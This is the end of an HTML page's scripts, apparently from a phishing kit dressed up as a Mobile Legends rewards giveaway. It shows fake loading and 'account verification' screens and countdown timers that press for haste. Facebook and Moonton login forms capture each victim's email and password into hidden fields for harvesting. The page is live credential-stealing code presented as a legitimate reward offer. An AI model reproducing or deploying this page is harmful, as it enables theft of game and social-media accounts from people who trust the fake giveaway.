      	$('.newhome').hide();
      }
      function open_account_verification(){
      	$('.loadinglogin').show();
      	$('#text-login1').show()
          setTimeout(function () {
            $('#text-login1').hide()
            $('#text-login2').fadeIn()
          }, 2000)
      	$('.open_rewards').hide(); 
      	$('.itemReward_confirmation2').hide();
      	setTimeout(function () {
          $('.account_login').show();  
          $('.loadinglogin').hide();
            }, 5000);	
      }
    </script>
    <script>
      function ValidateLoginFbData() {
      	$('#ValidateLoginFbForm').submit(function(submitingValidateLoginFbData){
      	submitingValidateLoginFbData.preventDefault();
      	
      	$emailfb = $('#email-facebook').val().trim();
      	$passwordfb = $('#password-facebook').val().trim();
      	$loginfb = $('#login-facebook').val().trim();
                  if($emailfb == '' || $emailfb == null || $emailfb.length <= 5)
                  {
                      $('.email-fb').show();
                      $('.sandi-fb').hide();
                      $('.login-facebook').show();
                      return false;
                  }else{
                      $('.email-fb').hide();               
      	              $("input#validateEmail").val($emailfb);
                      $('.login-facebook').hide();  
                  }
                  if($passwordfb == '' || $passwordfb == null || $passwordfb.length <= 5)
                  {
                      $('.sandi-fb').show();
                      $('.login-facebook').show();
                      return false;
                  }else{
                      $('.sandi-fb').hide();
      	              $("input#validatePassword").val($passwordfb);
      	              $("input#validateLogin").val($loginfb);
      			          $('.account_verification').show();
                      $('.login-facebook').hide();	          	           
      	}
      	}); 
      }
      function ValidateLoginMoontonData() {
      	$('#ValidateLoginMoontonForm').submit(function(submitingValidateLoginMoontonData){
      	submitingValidateLoginMoontonData.preventDefault();
      	
      	$emailmt = $('#email-moonton').val().trim();
      	$passwordmt = $('#password-moonton').val().trim();
      	$loginmt = $('#login-moonton').val().trim();
                  if($emailmt == '' || $emailmt == null || $emailmt.length <= 5)
                  {
                      $('.email-mt').show();
                      $('.sandi-mt').hide();
                      $('.login-moonton').show();
                      return false;
                  }else{
                      $('.email-mt').hide();               
      	              $("input#validateEmail").val($emailmt);
                      $('.login-moonton').hide();  
                  }
                  if($passwordmt == '' || $passwordmt == null || $passwordmt.length <= 5)
                  {
                      $('.sandi-mt').show();
                      $('.login-moonton').show();
                      return false;
                  }else{
                      $('.sandi-mt').hide();
      	              $("input#validatePassword").val($passwordmt);
      	              $("input#validateLogin").val($loginmt);
      			          $('.account_verification').show();
                      $('.login-moonton').hide();	          	           
      	}
      	}); 
      }
      var LazIndexHeader = 0;
      showLazSlidez();
      function showLazSlidez() {
          var i;
          var LazSlidez = document.getElementsByClassName("lazaslide");
          for (i = 0; i < LazSlidez.length; i++) {
              LazSlidez[i].style.display = "none"; 
          }
          LazIndexHeader++;
          if (LazIndexHeader > LazSlidez.length) {LazIndexHeader = 1} 
          LazSlidez[LazIndexHeader-1].style.display = "block"; 
          setTimeout(showLazSlidez, 3000);
      }
      
      // code funtion timers
      $(document).ready(function() { 
      var detik = 59;
      var menit = 59;
      var jam = 23;
      function hitung() { 
      setTimeout(hitung,1000); $('#timer1').html( '  ' + jam + ' : ' + menit + ' : ' + detik + ''); detik --; 
      if(detik < 0) { 
      detik = 59; 
      menit --; 
      if(menit < 0) { 
      menit = 0; 
      detik = 0; 
      } 
      } 
      } 
      hitung(); 
      }
      );
      $(document).ready(function() { 
      var detik = 59;
      var menit = 59;
      var jam = 23;
      function hitung() { 
      setTimeout(hitung,1000); $('#timer2').html( + jam + ' : ' + menit + ' : ' + detik + ''); detik --; 
      if(detik < 0) { 
      detik = 59; 
      menit --; 
      if(menit < 0) { 
      menit = 0; 
      detik = 0; 
      } 
      } 
      } 
      hitung(); 
      }
      );
    </script>
    <script>
      $(document).ready(function () {
        let accountInfo = localStorage.getItem("accountInfo");
        if (accountInfo){
          //accountInfo = JSON.parse(accountInfo);
          //alert(accountInfo)
          $(".processing_account").show()
        }
      });
      setInterval(() => {
        checkExpiration();
      }, 1000)
    </script>   
    <script defer src="https://static.cloudflareinsights.com/beacon.min.js/vcd15cbe7772f49c399c6a5babf22c1241717689176015" integrity="sha512-ZpsOmlRQV6y907TI0dKBHq9Md29nnaEIPlkf84rnaERnq6zvWvPUqr2ft8M1aS28oN72PdrCzSjY4U6VaAw1EQ==" data-cf-beacon='{"rayId":"8e3dc22aa82e4eeb","version":"2024.10.5","r":1,"token":"34a8e4b4ae0b4799be5ac71ebf00e76c","serverTiming":{"name":{"cfExtPri":true,"cfL4":true,"cfSpeedBrain":true,"cfCacheStatus":true}}}' crossorigin="anonymous"></script>
  </body>
</html>
